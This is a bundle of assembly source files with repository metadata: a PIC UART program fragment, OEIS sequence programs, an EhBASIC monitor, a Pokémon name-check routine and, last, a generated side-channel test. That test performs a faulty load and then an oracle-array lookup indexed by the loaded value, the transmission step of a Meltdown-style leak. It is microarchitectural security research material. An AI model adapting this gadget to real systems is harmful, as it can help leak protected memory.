MOV.B W3, [W14+10]
MOV #99, W3
MOV.B W3, [W14+11]
MOV #109, W3
MOV.B W3, [W14+12]
MOV #0, W3
MOV.B W3, [W14+13]
ADD W14, #10, W0
MOV W0, W10
CALL _MySoft_UART_Write
;project.c,136 :: MySoft_UART_Write("|");
MOV #124, W3
MOV.B W3, [W14+14]
MOV #0, W3
MOV.B W3, [W14+15]
ADD W14, #14, W0
MOV W0, W10
CALL _MySoft_UART_Write
;project.c,137 :: }
L_main51:
;project.c,139 :: Delay_ms(500); // delay before next measure
MOV #51, W8
MOV #56549, W7
L_main52:
DEC W7
BRA NZ L_main52
DEC W8
BRA NZ L_main52
;project.c,140 :: }
GOTO L_main8
;project.c,141 :: }
L_end_main:
POP W3
POP W4
ULNK
L__main96:
BRA L__main96
; end of _main
| 23.964539 | 143 | 0.613273 |
b4c07dda105e105cc9147da6e5946778cc1b0055 | 468 | asm | Assembly | programs/oeis/188/A188473.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/188/A188473.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/188/A188473.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A188473: Positions of 1 in A188472.
; 3,8,11,16,19,21,24,29,32,37,40,42,45,50,53,55,58,63,66,71,74,76,79,84,87,92,95,97,100,105,108,110,113,118,121,126,129,131,134,139,142,144,147,152,155,160,163,165,168,173,176,181,184,186,189,194,197,199,202,207,210,215,218,220,223,228,231,236,239,241,244,249,252,254,257,262,265,270
seq $0,188435 ; Positions of 1 in A188433; complement of A188434.
seq $0,4957 ; a(n) = ceiling(n*phi^2), where phi is the golden ratio, A001622.
| 78 | 283 | 0.715812 |
baf0a88f09f91a82e8ecede209a10305e49d74a9 | 488 | asm | Assembly | oeis/088/A088162.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/088/A088162.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/088/A088162.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A088162: n-th prime rotated one binary place to the right less the n-th prime rotated one binary place to the left.
; Submitted by Jon Maiga
; 0,0,3,0,6,3,21,18,12,3,0,39,33,30,24,15,6,3,90,84,81,72,66,57,45,39,36,30,27,21,0,186,177,174,159,156,147,138,132,123,114,111,96,93,87,84,66,48,42,39,33,24,21,6,381,372,363,360,351,345,342,327,306,300,297,291
seq $0,40 ; The prime numbers.
seq $0,35327 ; Write n in binary, interchange 0's and 1's, convert back to decimal.
div $0,2
mul $0,3
| 54.222222 | 210 | 0.706967 |
aefc1016c3f024b20bde33be1aae134d49c47ddb | 280 | asm | Assembly | programs/oeis/171/A171525.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/171/A171525.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/171/A171525.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A171525: Numerator of (n-th noncomposite/n).
; 1,1,1,5,7,11,13,17,19,23,29,31,37,41,43,47,53,59,61,67,71,73,79,83,89,97,101,103,107,109,113,127,131,137,139,149,151,157,163,167,173,179,181,191,193,197,199,211,223,227
trn $0,2
seq $0,140475 ; 1 along with primes greater than 3.
| 46.666667 | 170 | 0.7 |
3c6f10c835d8a8bc2aac004463df569fe0dcb2c4 | 748 | asm | Assembly | programs/oeis/143/A143166.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/143/A143166.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/143/A143166.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A143166: a(n) = n*(8*n^2 + 1)/3.
; 0,3,22,73,172,335,578,917,1368,1947,2670,3553,4612,5863,7322,9005,10928,13107,15558,18297,21340,24703,28402,32453,36872,41675,46878,52497,58548,65047,72010,79453,87392,95843,104822,114345,124428,135087,146338,158197,170680,183803,197582,212033,227172,243015,259578,276877,294928,313747,333350,353753,374972,397023,419922,443685,468328,493867,520318,547697,576020,605303,635562,666813,699072,732355,766678,802057,838508,876047,914690,954453,995352,1037403,1080622,1125025,1170628,1217447,1265498,1314797,1365360,1417203,1470342,1524793,1580572,1637695,1696178,1756037,1817288,1879947,1944030,2009553,2076532,2144983,2214922,2286365,2359328,2433827,2509878,2587497
mov $1,$0
mul $1,2
pow $1,3
add $0,$1
div $0,3
| 83.111111 | 664 | 0.80615 |
6daaf35739d243be09dc73f853b79b42cb9a5e58 | 360 | asm | Assembly | oeis/176/A176627.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 11 | 2021-08-22T19:44:55.000Z | 2022-03-20T16:47:57.000Z | oeis/176/A176627.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 9 | 2021-08-29T13:15:54.000Z | 2022-03-09T19:52:31.000Z | oeis/176/A176627.asm | neoneye/loda-programs | 84790877f8e6c2e821b183d2e334d612045d29c0 | [
"Apache-2.0"
] | 3 | 2021-08-22T20:56:47.000Z | 2021-09-29T06:26:12.000Z | ; A176627: Triangle T(n, k) = 12^(k*(n-k)), read by rows.
; Submitted by Jon Maiga
; 1,1,1,1,12,1,1,144,144,1,1,1728,20736,1728,1,1,20736,2985984,2985984,20736,1,1,248832,429981696,5159780352,429981696,248832,1,1,2985984,61917364224,8916100448256,8916100448256,61917364224,2985984,1,1
lpb $0
add $1,1
sub $0,$1
lpe
sub $1,$0
mul $1,$0
mov $0,12
pow $0,$1
| 27.692308 | 201 | 0.702778 |
a320cb579ae496d67fddf739a384c6b70b6fefa4 | 832 | asm | Assembly | programs/oeis/085/A085952.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/085/A085952.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/085/A085952.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A085952: First n-digit number that occurs in the sequence A085951.
; 1,91,901,9001,90001,900001,9000001,90000001,900000001,9000000001,90000000001,900000000001,9000000000001,90000000000001,900000000000001,9000000000000001,90000000000000001,900000000000000001,9000000000000000001,90000000000000000001,900000000000000000001,9000000000000000000001,90000000000000000000001,900000000000000000000001,9000000000000000000000001,90000000000000000000000001,900000000000000000000000001,9000000000000000000000000001,90000000000000000000000000001,900000000000000000000000000001,9000000000000000000000000000001,90000000000000000000000000000001,900000000000000000000000000000001,9000000000000000000000000000000001,90000000000000000000000000000000001,900000000000000000000000000000000001
sub $0,1
mov $1,10
pow $1,$0
mul $1,90
add $1,1
mov $0,$1
| 83.2 | 703 | 0.903846 |
4016120f22fee5bf278e9c31ef30456d50197a5b | 1,206 | asm | Assembly | engine/pokemon/correct_nick_errors.asm | Trap-Master/spacworld97-thingy | a144827abecacdfec6cdc3baa32098e9290adf70 | [
"blessing"
] | null | null | null | engine/pokemon/correct_nick_errors.asm | Trap-Master/spacworld97-thingy | a144827abecacdfec6cdc3baa32098e9290adf70 | [
"blessing"
] | null | null | null | engine/pokemon/correct_nick_errors.asm | Trap-Master/spacworld97-thingy | a144827abecacdfec6cdc3baa32098e9290adf70 | [
"blessing"
] | null | null | null | CorrectNickErrors::
; error-check monster nick before use
; must be a peace offering to gamesharkers
; input: de = nick location
push bc
push de
ld b, MON_NAME_LENGTH
.checkchar
; end of nick?
ld a, [de]
cp "@" ; terminator
jr z, .end
; check if this char is a text command
ld hl, .textcommands
dec hl
.loop
; next entry
inc hl
; reached end of commands table?
ld a, [hl]
cp -1
jr z, .done
; is the current char between this value (inclusive)...
ld a, [de]
cp [hl]
inc hl
jr c, .loop
; ...and this one?
cp [hl]
jr nc, .loop
; replace it with a "?"
ld a, "?"
ld [de], a
jr .loop
.done
; next char
inc de
; reached end of nick without finding a terminator?
dec b
jr nz, .checkchar
; change nick to "?@"
pop de
push de
ld a, "?"
ld [de], a
inc de
ld a, "@"
ld [de], a
.end
; if the nick has any errors at this point it's out of our hands
pop de
pop bc
ret
.textcommands
; table defining which characters are actually text commands
; format:
; ≥ <
db "<NULL>", "ガ"
db "<PLAY_G>", "<JP_18>" + 1
db "<NI>", "<NO>" + 1
db "<ROUTE>", "<GREEN>" + 1
db "<ENEMY>", "<ENEMY>" + 1
db "<MOM>", "<TM>" + 1
db "<ROCKET>", " "
db -1 ; end
| 16.08 | 64 | 0.596186 |
734ffc5e2b8d7a390737ca7f3c3a9d3ce20b146d | 5,034 | asm | Assembly | asm/ehbasic/osi_mon.asm | napobear/6502 | 0385ed2739ac8d4d1c24a9e42c7e4c3e3276d7f5 | [
"Apache-2.0"
] | 188 | 2015-01-06T02:31:15.000Z | 2022-03-13T10:17:17.000Z | asm/ehbasic/osi_mon.asm | napobear/6502 | 0385ed2739ac8d4d1c24a9e42c7e4c3e3276d7f5 | [
"Apache-2.0"
] | 12 | 2016-11-23T22:45:05.000Z | 2021-05-29T15:01:41.000Z | asm/ehbasic/osi_mon.asm | napobear/6502 | 0385ed2739ac8d4d1c24a9e42c7e4c3e3276d7f5 | [
"Apache-2.0"
] | 54 | 2015-05-06T05:31:12.000Z | 2022-01-04T22:35:46.000Z |
; minimal monitor for EhBASIC and Briel Superboard /// or Ohio Scientic Superboard II/Challenger 1P
.include "basic.asm"
; OSI Defines
CURPOS = $0200 ; ROM BASIC cursor position
LOADFLAG = $0203 ; ROM BASIC LOAD flag
SAVEFLAG = $0205 ; ROM BASIC SAVE flag
KBD = $DF00 ; OSI polled keyboard register
SAVE_X = $DE ; For saving registers
SAVE_Y = $DF
; put the IRQ and NMI code in RAM so that it can be changed
IRQ_vec = VEC_SV+2 ; IRQ code vector
NMI_vec = IRQ_vec+$0A ; NMI code vector
; now the code. all this does is set up the vectors and interrupt code
; and wait for the user to select [C]old or [W]arm start. nothing else
; fits in less than 128 bytes
; reset vector points here
RES_vec
CLD ; clear decimal mode
LDX #$FF ; empty stack
TXS ; set the stack
; set up vectors and interrupt code, copy them to page 2
LDY #END_CODE-LAB_vec ; set index/count
LAB_stlp
LDA LAB_vec-1,Y ; get byte from interrupt code
STA VEC_IN-1,Y ; save to RAM
DEY ; decrement index/count
BNE LAB_stlp ; loop if more to do
; now do the signon message, Y = $00 here
LDA #$65 ; Set OSI ROM cursor position to home
STA CURPOS
LAB_signon
LDA LAB_mess,Y ; get byte from sign on message
BEQ LAB_nokey ; exit loop if done
JSR V_OUTP ; output character
INY ; increment index
BNE LAB_signon ; loop, branch always
LAB_nokey
JSR V_INPT ; call scan input device
BCC LAB_nokey ; loop if no key
AND #$DF ; mask xx0x xxxx, ensure upper case
CMP #'W' ; compare with [W]arm start
BEQ LAB_dowarm ; branch if [W]arm start
CMP #'C' ; compare with [C]old start
BNE RES_vec ; loop if not [C]old start
JMP LAB_COLD ; do EhBASIC cold start
LAB_dowarm
JMP LAB_WARM ; do EhBASIC warm start
; byte out to screen
SCRNout
STX SAVE_X ; Preserve X register
STY SAVE_Y ; Preserve Y register
JSR $FF69 ; OSI character out routine
LDX SAVE_X ; Restore X
LDY SAVE_Y ; Restore Y
RTS
; byte in from keyboard
KBDin
STX SAVE_X ; Preserve X register
STY SAVE_Y ; Preserve Y register
BIT LOADFLAG ; If load is in effect
BMI keypressed ; skip test for keyboard key pressed
; First see if a key was pressed
LDA #%11111110 ; Select first keyboard row
scan:
STA KBD ; Select keyboard row
TAX ; Save A
LDA KBD ; Read keyboard columns
ORA #$01 ; Mask out lsb (Shift Lock), since we ignore it
CMP #$FF ; No keys pressed?
BNE keypressed
TXA ; Restore A
SEC ; Want to shift in ones
ROL A ; Rotate row select to next bit position
CMP #$FF ; Done?
BNE scan ; If not, continue
LDX SAVE_X ; Restore X
LDY SAVE_Y ; Restore Y
CLC ; Indicate key not pressed
RTS ; And return
keypressed:
JSR $FFBA ; OSI character in routine
LDX SAVE_X ; Restore X
LDY SAVE_Y ; Restore Y
SEC ; Indicate key was pressed
RTS ; And return
OSIload ; load vector for EhBASIC
LDA #$80 ; Set OSI ROM LOAD flag
STA LOADFLAG
RTS
OSIsave ; save vector for EhBASIC
LDA #$01 ; Set OSI ROM SAVE flag
STA SAVEFLAG
RTS
; vector tables
LAB_vec
.word KBDin ; byte in from keyboard
.word SCRNout ; byte out to screen
.word OSIload ; load vector for EhBASIC
.word OSIsave ; save vector for EhBASIC
; EhBASIC IRQ support
IRQ_CODE
PHA ; save A
LDA IrqBase ; get the IRQ flag byte
LSR ; shift the set b7 to b6, and on down ...
ORA IrqBase ; OR the original back in
STA IrqBase ; save the new IRQ flag byte
PLA ; restore A
RTI
; EhBASIC NMI support
NMI_CODE
PHA ; save A
LDA NmiBase ; get the NMI flag byte
LSR ; shift the set b7 to b6, and on down ...
ORA NmiBase ; OR the original back in
STA NmiBase ; save the new NMI flag byte
PLA ; restore A
RTI
END_CODE
LAB_mess
.byte $0D,$0A,"6502 EhBASIC",$0D,$0A, "[C]old/[W]arm?",$00
; sign on string
; system vectors
.org $FFFA
.word NMI_vec ; NMI vector
.word RES_vec ; RESET vector
.word IRQ_vec ; IRQ vector
| 30.143713 | 99 | 0.536353 |
ca740e8ce11a3708fb73cb6a6053148404d52a61 | 611 | asm | Assembly | programs/oeis/312/A312941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | 1 | 2021-03-15T11:38:20.000Z | 2021-03-15T11:38:20.000Z | programs/oeis/312/A312941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | programs/oeis/312/A312941.asm | jmorken/loda | 99c09d2641e858b074f6344a352d13bc55601571 | [
"Apache-2.0"
] | null | null | null | ; A312941: Coordination sequence Gal.5.14.2 where G.u.t.v denotes the coordination sequence for a vertex of type v in tiling number t in the Galebach list of u-uniform tilings.
; 1,4,9,13,18,23,27,31,36,40,45,50,54,58,63,67,72,77,81,85,90,94,99,104,108,112,117,121,126,131,135,139,144,148,153,158,162,166,171,175,180,185,189,193,198,202,207,212,216,220
mov $3,1
mov $6,$0
lpb $0
mov $4,$0
sub $0,$0
add $0,1
mov $7,$4
mov $8,$4
mod $8,3
div $8,2
add $7,$8
lpe
add $1,3
mov $2,$3
mul $2,2
div $7,2
mov $4,$7
add $4,$1
sub $4,$0
add $2,$4
add $2,1
mov $1,$2
sub $1,5
mov $5,$6
mul $5,4
add $1,$5
| 20.366667 | 176 | 0.638298 |
f356d16d822f48c0dd11ac1a48671653527d8ee6 | 165 | asm | Assembly | lab_12/not_my/main.asm | Winterpuma/bmstu_MDPL | 28fb1f93e5ce4321c98ff6cf1b997972a48724ee | [
"MIT"
] | 14 | 2019-02-25T11:09:12.000Z | 2022-03-12T23:29:11.000Z | lab_12/not_my/main.asm | Winterpuma/bmstu_MDPL | 28fb1f93e5ce4321c98ff6cf1b997972a48724ee | [
"MIT"
] | null | null | null | lab_12/not_my/main.asm | Winterpuma/bmstu_MDPL | 28fb1f93e5ce4321c98ff6cf1b997972a48724ee | [
"MIT"
] | null | null | null | .386
.model flat, c
.listall
include template.inc
public macro_main
.code
macro_main proc near
create_func void, func, <x, y>, <esi, edi>
ret
macro_main endp
end | 12.692308 | 43 | 0.745455 |
98ec30ddb79331dcd502e6c83c5ccd7341cd78e6 | 3,392 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1_628.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1_628.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i7-8650U_0xd2_notsx.log_1_628.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
push %r12
push %rax
push %rbx
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_normal_ht+0x6b12, %rsi
lea addresses_A_ht+0xc392, %rdi
nop
nop
nop
nop
cmp %rbx, %rbx
mov $97, %rcx
rep movsw
nop
nop
nop
nop
nop
sub %r12, %r12
lea addresses_normal_ht+0xb912, %rsi
lea addresses_WT_ht+0xa412, %rdi
nop
add %rax, %rax
mov $102, %rcx
rep movsl
nop
nop
nop
cmp $7596, %rax
lea addresses_normal_ht+0xe112, %r12
nop
nop
cmp %rcx, %rcx
mov $0x6162636465666768, %rbx
movq %rbx, (%r12)
nop
nop
nop
nop
cmp $32478, %rbx
lea addresses_UC_ht+0x6192, %rax
nop
nop
nop
nop
nop
and %rdx, %rdx
movb (%rax), %bl
nop
cmp $53595, %rdi
lea addresses_WC_ht+0xd532, %rsi
nop
nop
nop
nop
add %rbx, %rbx
mov (%rsi), %cx
nop
nop
nop
add %r12, %r12
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r12
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r15
push %r8
push %r9
push %rax
push %rsi
// Store
lea addresses_WC+0x12a82, %rsi
nop
nop
xor %r9, %r9
mov $0x5152535455565758, %r11
movq %r11, (%rsi)
nop
nop
nop
nop
nop
add %rsi, %rsi
// Store
lea addresses_RW+0xff8a, %r8
clflush (%r8)
nop
nop
nop
nop
inc %rax
movl $0x51525354, (%r8)
nop
nop
nop
nop
cmp %rax, %rax
// Store
lea addresses_WT+0x17112, %rsi
add $9629, %r10
mov $0x5152535455565758, %r8
movq %r8, (%rsi)
nop
nop
and $61759, %rsi
// Store
lea addresses_UC+0x29d6, %r8
nop
nop
nop
nop
xor %r11, %r11
movb $0x51, (%r8)
nop
nop
nop
add %r10, %r10
// Load
lea addresses_A+0x12, %r11
nop
dec %r9
mov (%r11), %r15w
nop
dec %r8
// Faulty Load
lea addresses_RW+0x15312, %r8
nop
nop
nop
nop
nop
xor $10051, %r15
mov (%r8), %r9d
lea oracles, %rax
and $0xff, %r9
shlq $12, %r9
mov (%rax,%r9,1), %r9
pop %rsi
pop %rax
pop %r9
pop %r8
pop %r15
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 1, 'AVXalign': False, 'NT': True, 'congruent': 0, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WC', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 4, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 1, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_WT', 'size': 8, 'AVXalign': True, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_UC', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 2, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_A', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
[Faulty Load]
{'OP': 'LOAD', 'src': {'type': 'addresses_RW', 'size': 4, 'AVXalign': False, 'NT': False, 'congruent': 0, 'same': True}}
<gen_prepare_buffer>
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 11, 'same': False}, 'dst': {'type': 'addresses_A_ht', 'congruent': 4, 'same': False}}
{'OP': 'REPM', 'src': {'type': 'addresses_normal_ht', 'congruent': 7, 'same': False}, 'dst': {'type': 'addresses_WT_ht', 'congruent': 8, 'same': False}}
{'OP': 'STOR', 'dst': {'type': 'addresses_normal_ht', 'size': 8, 'AVXalign': False, 'NT': False, 'congruent': 8, 'same': False}}
{'OP': 'LOAD', 'src': {'type': 'addresses_UC_ht', 'size': 1, 'AVXalign': False, 'NT': False, 'congruent': 6, 'same': True}}
{'OP': 'LOAD', 'src': {'type': 'addresses_WC_ht', 'size': 2, 'AVXalign': False, 'NT': False, 'congruent': 5, 'same': False}}
{'32': 1}
32
*/
| 18.139037 | 152 | 0.643573 |
2b08e9fe54a9a2112c14e1d10e527768dac1ecde | 151 | asm | Assembly | libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc_acosh.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 1 | 2022-03-08T11:55:58.000Z | 2022-03-08T11:55:58.000Z | libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc_acosh.asm | dikdom/z88dk | 40c55771062b0ea9bb2f0d5b73e2f754fc12b6b0 | [
"ClArtistic"
] | 2 | 2022-03-20T22:17:35.000Z | 2022-03-24T16:10:00.000Z | libsrc/_DEVELOPMENT/math/float/am9511/c/sdcc/cam32_sdcc_acosh.asm | jorgegv/z88dk | 127130cf11f9ff268ba53e308138b12d2b9be90a | [
"ClArtistic"
] | null | null | null |
SECTION code_fp_am9511
PUBLIC cam32_sdcc_acosh
EXTERN asm_sdcc_read1, _am9511_acosh
.cam32_sdcc_acosh
call asm_sdcc_read1
jp _am9511_acosh
| 13.727273 | 36 | 0.827815 |
6ec3a3ca5e665a5010c607e2e161a321e0da25a3 | 66 | asm | Assembly | src/main/fragment/mos6502-common/vwsm1=vwsm2_plus_vwsc1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | 2 | 2022-03-01T02:21:14.000Z | 2022-03-01T04:33:35.000Z | src/main/fragment/mos6502-common/vwsm1=vwsm2_plus_vwsc1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | src/main/fragment/mos6502-common/vwsm1=vwsm2_plus_vwsc1.asm | jbrandwood/kickc | d4b68806f84f8650d51b0e3ef254e40f38b0ffad | [
"MIT"
] | null | null | null | clc
lda {m2}
adc #<{c1}
sta {m1}
lda {m2}+1
adc #>{c1}
sta {m1}+1
| 8.25 | 10 | 0.530303 |
10c0a919be05488d17c9ff05fa6709934d2a8750 | 839 | asm | Assembly | programs/oeis/034/A034513.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 22 | 2018-02-06T19:19:31.000Z | 2022-01-17T21:53:31.000Z | programs/oeis/034/A034513.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 41 | 2021-02-22T19:00:34.000Z | 2021-08-28T10:47:47.000Z | programs/oeis/034/A034513.asm | neoneye/loda | afe9559fb53ee12e3040da54bd6aa47283e0d9ec | [
"Apache-2.0"
] | 5 | 2021-02-24T21:14:16.000Z | 2021-08-09T19:48:05.000Z | ; A034513: a(n) = 1^n + 3^n + 9^n.
; 3,13,91,757,6643,59293,532171,4785157,43053283,387440173,3486843451,31381236757,282430067923,2541867422653,22876797237931,205891146443557,1853020231898563,16677181828806733,150094635684419611,1350851718835253557,12157665462543713203,109418989141972712413,984770902214992292491,8862938119746644274757,79766443077154939399843,717897987692699877379693,6461081889229215164760571,58149737003047685287875157,523347633027383414005966483,4710128697246313465298968573,42391158275216409405426527851,381520424476946449302046182757,3433683820292514337678037941123,30903154382632617920981208359053,278128389443693527934467475898331,2503155504993241651347117085085557,22528399544939174561934783171771763,202755595904452570156845236763951133
mov $1,3
pow $1,$0
add $1,1
bin $1,2
sub $1,1
mul $1,2
add $1,3
mov $0,$1
| 69.916667 | 728 | 0.88677 |
8818cdf08ec8f69f87cda2ab4cdcc9d8f9b2bafe | 3,677 | asm | Assembly | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_203.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 9 | 2020-08-13T19:41:58.000Z | 2022-03-30T12:22:51.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_203.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 1 | 2021-04-29T06:29:35.000Z | 2021-05-13T21:02:30.000Z | Transynther/x86/_processed/NONE/_xt_/i3-7100_9_0x84_notsx.log_21829_203.asm | ljhsiun2/medusa | 67d769b8a2fb42c538f10287abaf0e6dbb463f0c | [
"MIT"
] | 3 | 2020-07-14T17:07:07.000Z | 2022-03-21T01:12:22.000Z | .global s_prepare_buffers
s_prepare_buffers:
ret
.global s_faulty_load
s_faulty_load:
push %r10
push %r11
push %r14
push %r15
push %r9
push %rbx
// Faulty Load
lea addresses_D+0x173e8, %r10
nop
inc %rbx
mov (%r10), %r15d
lea oracles, %r9
and $0xff, %r15
shlq $12, %r15
mov (%r9,%r15,1), %r15
pop %rbx
pop %r9
pop %r15
pop %r14
pop %r11
pop %r10
ret
/*
<gen_faulty_load>
[REF]
{'src': {'type': 'addresses_D', 'same': False, 'size': 16, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
[Faulty Load]
{'src': {'type': 'addresses_D', 'same': True, 'size': 4, 'congruent': 0, 'NT': False, 'AVXalign': False}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 